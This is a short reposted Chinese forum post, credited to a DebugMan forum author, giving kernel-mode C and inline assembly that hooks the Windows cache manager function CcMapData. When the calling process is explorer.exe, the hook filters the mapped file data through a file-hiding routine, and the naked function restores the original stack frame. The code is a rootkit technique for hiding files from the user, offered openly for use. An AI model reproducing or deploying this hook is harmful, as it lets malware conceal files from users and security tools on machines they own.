[转载]挂接缓存管理器CcMapData()实现文件XX

原作者Azy,发表于DebugMan论坛。

=======================================================

这个方法的最大好处在于简单~~不用分别处理~~

VOID __stdcall HandleMapData(
    IN PFILE_OBJECT  FileObject,
    IN PLARGE_INTEGER  FileOffset,
    IN ULONG  Length,
    IN ULONG  Flags,
    OUT PVOID  *Bcb,
    OUT PVOID  *Buffer
    )
{
    if(!_strnicmp((PCHAR)((ULONG)PsGetCurrentProcess() + ImageNameOffset), "explorer.exe", strlen("explorer.exe")))
    {
        if(CcPinMappedData(FileObject, FileOffset, Length, Flags, Bcb))
        {
            HandleFileHide(*Buffer, Length);
        }
    }
    return;
}

void __declspec(naked) NewCcMapData()
{
    __asm
    {
        pushad
        pushfd
        cli
        push [ebp+1ch]
        push [ebp+18h]
        push [ebp+14h]
        push [ebp+10h]
        push [ebp+0ch]
        push [ebp+8]
        call HandleMapData
        sti
        popfd
        popad
        mov ecx, [ebp-10h]
        mov fs:0, ecx
        pop edi
        pop esi
        pop ebx
        _emit    0xc9
        ret 18h
    }
}